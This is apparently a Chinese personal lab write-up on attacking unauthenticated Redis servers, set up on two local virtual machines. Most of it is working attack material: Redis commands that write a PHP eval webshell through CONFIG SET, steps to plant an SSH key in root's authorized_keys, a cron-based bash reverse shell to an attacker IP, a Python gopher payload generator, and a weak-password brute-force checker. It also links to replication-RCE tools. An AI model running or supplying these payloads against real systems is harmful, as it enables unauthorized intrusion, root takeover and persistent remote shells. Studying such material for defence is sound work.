Redis未授权访问

什么是redis

​ Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。

漏洞原理

​ 默认情况下呢,Redis是绑定在0.0.0.0:6379的,如果没设置密码(一般密码为空)或者密码为弱口令,缺乏有效保护措施的话,那么处于公网服务的redis服务就会被任意用户进行未授权访问,进行读取数据操作,甚至能利用redis自身的命令写入文件操作,这样就会产生进一步的攻击行为

漏洞复现

根据bmjoker大佬的博客,整了俩虚拟机,一台攻击一台受害

image-20240613201900760

先用src下的redis-cli对目标机进行连接,然后ping一下,发现能ping通

接着用keys *,发现未设置key

利用redis写webshell

​ 利用条件:

1
2
3
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

这里本地搭建,我们已经知道了文件夹的路径

image-20240614160448504

将dir设置在了/home/juice下,然后就是dbfilename了

然后进行写shell操作,这里有一个tips,注意一下写入语句的格式

1
2
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
//redis写入文件的时候可能自带一些版本信息,或者是乱码,为了我们的恶意语句不被影响,就要用一些换行符号来手动换行

image-20240614161701158

然后我们打开目标机查看目录,发现确实写入了redis.php

image-20240614161751772

学到的redis写shell技巧,当数据库过大的时候就可以这样写

1
2
3
4
5
6
<?php 
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"deCOLE\"]);?>');
exit();
?>

利用公私钥认证获取root权限

​ 当我们的redsi是以root身份运行的时候,就可以给root账户写入SSH公钥文件,直接拿掉对方

​ 由于我们这里并没有设置存放SSH公钥的路径文件,只能先自己整一个了

image-20240614215826086

OK

在攻击机中生成我们的SSH公钥和私钥,密码设置为空就行了

image-20240614215856190

然后进入.ssh目录:cd .ssh/ 保存

image-20240614220105917

紧接着将我们的公钥1.txt写入redis

使用redis-cli -h ip命令来连接靶机,写入文件

image-20240614220227557

然后登录远程靶机redis的服务,用CONFIG GET dir命令来得到redis备份的路径

image-20240614220415186

这个时候我们就可以更改一下redis备份路径为SSH公钥存防目录了,一半这个默认为/root/.ssh

image-20240614220605539

更改目录完毕后,写入authorized_keys,写入完毕要检查一下,发现写入成功,OK

别忘了保存再退出捏

image-20240614220706573

然后就能免密登录了,但是我靶机没开22端口,没连上

image-20240614220935750

利用crontab反弹shell(计划任务目录)

​ 权限足够的情况下,我们利用redis写入文件到计划任务目录下执行,然后还可以由此反弹shell

主要操作有这几个

1
2
3
4
5
6
 flushall             //清空所有key值
  config get dir          //获取路径
  config set dir /**/**/       //设置路径
  set xxx '\n\n一句话木马\n\n'   //设置xxx值为一句话木马
  config set dbfilename 111.jsp /  /设置文件名
  save                //将xxx默认写入到111.jsp

怎么说呢,用直接弹shell的方式我写不通,看了别人的wp和博客啥的我都没看到有什么成功的记录图,我觉得是配置的问题,不过先记录一下这个方法吧image-20240617114244617

1
2
3
4
5
6
 1.set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1\n\n'

  *2.config set dir /var/spool/cron/
  3.config set dbfilename root
  4.save*

这里还得在自己的攻击机监听端口7777,说是能听到shell,结果不能,变脸是吧

还有一种办法就是用脚本写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
protocol="gopher://"
ip='192.168.43.144'//目标
port='6379'
reverse_ip="192.168.43.183"//接收反弹shell
reverse_port="4444"//反弹shell的端口
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

用这个脚本的成功率还是蛮高的,也不知道是什么原理

Python脚本自动化测试未授权或者弱口令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)

主从复制rce

​ 当数据被存储在单个Redis实例当中,读写体量比较大的时候,服务端就很难承受这样的压力。为了应对这样的情况,Redis提供了一个主从模式的解决方案

​ 主从模式是指:使用一个Redis实例作为主机,其他实例都作为备份机,其中主机和从机数据是相同的,但是从机只负责读,主机负责写,通过读写分离的方式来大幅度减轻流量压力,是一种牺牲空间换效率的方式

​ Redis 4.x之后,新增了模块功能,可以通过外部的扩展,在Redis当中实现一个新的Redis命令,通过写C语言并编译出.so文件来编写恶意so文件的代码

两个脚本

1.https://github.com/n0b0dyCN/redis-rogue-server

2.https://github.com/Ridter/redis-rce